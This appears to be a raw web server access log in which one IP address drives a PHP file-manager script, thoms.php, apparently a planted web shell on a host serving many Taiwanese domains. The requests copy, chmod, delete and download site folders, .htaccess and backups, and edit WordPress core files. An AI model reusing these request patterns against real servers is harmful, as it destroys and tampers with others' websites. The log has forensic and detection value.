45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bioway88.com-20260912023827 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bioway88.com-20260912023827" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:58 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:59 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:59 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:59 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:59 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:59 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:59 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:59 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:00 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:00 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:00 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:00 -0400] "GET /thoms.php?edit=license.txt&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=license.txt&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:00 -0400] "GET /thoms.php?edit=license.txt&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=license.txt&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:00 -0400] "GET /thoms.php?edit=wp-blog-header.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:00 -0400] "GET /thoms.php?edit=wp-blog-header.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:00 -0400] "GET /thoms.php?edit=wp-mail.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:00 -0400] "GET /broadweb.com.tw/thoms.php?chmod=error_log-20260912023633.&p= HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:00 -0400] "GET /broadweb.com.tw/thoms.php?copy=thoms.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:00 -0400] "GET /broadweb.com.tw/thoms.php?del=-20260912023718.htaccess&p= HTTP/1.1" 200 22631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:01 -0400] "GET /broadweb.com.tw/thoms.php?p= HTTP/1.1" 200 22644 "https://163.245.207.76/broadweb.com.tw/thoms.php?copy=thoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:01 -0400] "GET /thoms.php?edit=wp-mail.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:01 -0400] "GET /broadweb.com.tw/thoms.php?p=&settings=1 HTTP/1.1" 200 11838 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:01 -0400] "GET /broadweb.com.tw/thoms.php?chmod=bioway88.com.tw&p= HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:01 -0400] "GET /broadweb.com.tw/thoms.php?del=big-wife.com.tw&p= HTTP/1.1" 200 22639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:02 -0400] "GET /broadweb.com.tw/thoms.php?del=booking-wise2.com.tw&p= HTTP/1.1" 200 22483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:02 -0400] "GET /broadweb.com.tw/thoms.php?copy=-20260912023718.htaccess&p= HTTP/1.1" 200 12415 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:02 -0400] "GET /broadweb.com.tw/thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20633 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:03 -0400] "GET /broadweb.com.tw/thoms.php?p=bodbooks.com-20260912023809 HTTP/1.1" 200 17333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:03 -0400] "GET /broadweb.com.tw/thoms.php?copy=bft.com.tw&p= HTTP/1.1" 200 12418 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:04 -0400] "GET /broadweb.com.tw/thoms.php?dl=.htaccess&p= HTTP/1.1" 200 22644 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:05 -0400] "GET /broadweb.com.tw/thoms.php?del=besth2o.com-20260912023731&p= HTTP/1.1" 200 22644 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:05 -0400] "GET /broadweb.com.tw/thoms.php?copy=betcity.com.tw&p= HTTP/1.1" 200 12420 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:05 -0400] "GET /broadweb.com.tw/thoms.php?chmod=bfl.com-20260912023804&p= HTTP/1.1" 200 11455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:06 -0400] "GET /broadweb.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:06 -0400] "GET /broadweb.com.tw/thoms.php?p= HTTP/1.1" 200 22658 "https://163.245.207.76/broadweb.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:06 -0400] "GET /broadweb.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:06 -0400] "GET /broadweb.com.tw/thoms.php?chmod=besth2o.com-20260912023731&p= HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:07 -0400] "GET /broadweb.com.tw/thoms.php?del=biotaiwan.com.tw&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:07 -0400] "GET /broadweb.com.tw/thoms.php?del=bodbooks.com-20260912023809&p= HTTP/1.1" 200 22493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:08 -0400] "GET /broadweb.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:08 -0400] "GET /broadweb.com.tw/thoms.php?p=broadweb.com-20260912023716 HTTP/1.1" 200 17328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:08 -0400] "GET /broadweb.com.tw/thoms.php?p= HTTP/1.1" 200 22645 "https://163.245.207.76/broadweb.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:09 -0400] "GET /broadweb.com.tw/thoms.php?del=.htaccess&p= HTTP/1.1" 200 22664 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:10 -0400] "GET /broadweb.com.tw/thoms.php?chmod=beauty-dental.com.tw&p= HTTP/1.1" 200 11448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:10 -0400] "GET /broadweb.com.tw/thoms.php?copy=biotaiwan.com.tw&p= HTTP/1.1" 200 12413 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:10 -0400] "GET /broadweb.com.tw/thoms.php?del=broadweb.com.tw&p= HTTP/1.1" 200 22647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:11 -0400] "GET /broadweb.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:11 -0400] "GET /broadweb.com.tw/thoms.php?del=ba-guo.com.tw&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:11 -0400] "GET /broadweb.com.tw/thoms.php?p= HTTP/1.1" 200 22625 "https://163.245.207.76/broadweb.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:11 -0400] "GET /broadweb.com.tw/thoms.php?del=bioway88.com.tw&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:12 -0400] "GET /broadweb.com.tw/thoms.php?p=beauty-dental.com-20260912023807 HTTP/1.1" 200 17341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:12 -0400] "GET /broadweb.com.tw/thoms.php?p=bft.com.tw HTTP/1.1" 200 19384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
